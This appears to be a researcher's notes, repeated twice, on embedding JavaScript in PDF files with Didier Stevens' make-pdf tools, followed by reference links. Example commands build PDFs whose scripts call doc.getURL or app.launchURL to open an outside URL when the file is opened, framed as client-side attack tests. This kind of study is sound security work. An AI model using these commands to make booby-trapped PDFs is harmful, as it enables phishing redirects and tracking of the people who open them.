Javascript in PDF files
Download
https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/make-pdf-javascript.py
https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/mPDF.py
Please note that make pdf javascript is different from make pdf embedded
https://www.aldeid.com/wiki/Make-pdf-javascript
example of a command
>python make-pdf-embedded.py -j "doc.getURL('http://192.168.1.71:8080/t7L6mteC2')" launchurl5.pdf
example of loading content from file:
>cat test.js
app.alert (1)
app.alert (2)
app.response('question','title','cDefault',app.launchURL('http://dcicsa.com'))
>python make-pdf-embedded.py -f test.js launchurl13.pdf
Other javascript calls in the links below (i noticed that most of the app.* commands were working but doc.* and others not)
https://www.yumpu.com/en/document/view/41539612/calculations-and-scripts-document-adobe-partners/63
http://blog.didierstevens.com/programs/pdf-tools/
http://nicx.co.uk/attachments/File/AA%20Livecycle_Designer_scripting_basics.pdf
http://partners.adobe.com/public/developer/en/tips/CalcScripts.pdf
http://www.pdfill.com/pdf_action.html
http://help.adobe.com/en_US/livecycle/9.0/designerHelp/index.htm?content=000811.html
Some says the code we are entering is "adobe javascript". I have found this document but does not seem to extend the attack
https://partners.adobe.com/public/developer/en/acrobat/sdk/AcroJSGuide.pdf
and this link
https://answers.acrobatusers.com/Question-app-alert-hyperlinks-q157792.aspx
Further reading
http://opensecuritytraining.info/HTID_files/Day12-Client-Side-Attacks.pdf
Here they say a javascript is found but nothing more than alert or redirect
http://neonprimetime.blogspot.co.uk/2015/03/how-to-add-javascript-to-pdf.html
https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/make-pdf-javascript.py
https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/mPDF.py
Please note that make pdf javascript is different from make pdf embedded
https://www.aldeid.com/wiki/Make-pdf-javascript
example of a command
>python make-pdf-embedded.py -j "doc.getURL('http://192.168.1.71:8080/t7L6mteC2')" launchurl5.pdf
example of loading content from file:
>cat test.js
app.alert (1)
app.alert (2)
app.response('question','title','cDefault',app.launchURL('http://dcicsa.com'))
>python make-pdf-embedded.py -f test.js launchurl13.pdf
Other javascript calls in the links below (i noticed that most of the app.* commands were working but doc.* and others not)
https://www.yumpu.com/en/document/view/41539612/calculations-and-scripts-document-adobe-partners/63
http://blog.didierstevens.com/programs/pdf-tools/
http://nicx.co.uk/attachments/File/AA%20Livecycle_Designer_scripting_basics.pdf
http://partners.adobe.com/public/developer/en/tips/CalcScripts.pdf
http://www.pdfill.com/pdf_action.html
http://help.adobe.com/en_US/livecycle/9.0/designerHelp/index.htm?content=000811.html
Some says the code we are entering is "adobe javascript". I have found this document but does not seem to extend the attack
https://partners.adobe.com/public/developer/en/acrobat/sdk/AcroJSGuide.pdf
and this link
https://answers.acrobatusers.com/Question-app-alert-hyperlinks-q157792.aspx
Further reading
http://opensecuritytraining.info/HTID_files/Day12-Client-Side-Attacks.pdf
Here they say a javascript is found but nothing more than alert or redirect
http://neonprimetime.blogspot.co.uk/2015/03/how-to-add-javascript-to-pdf.html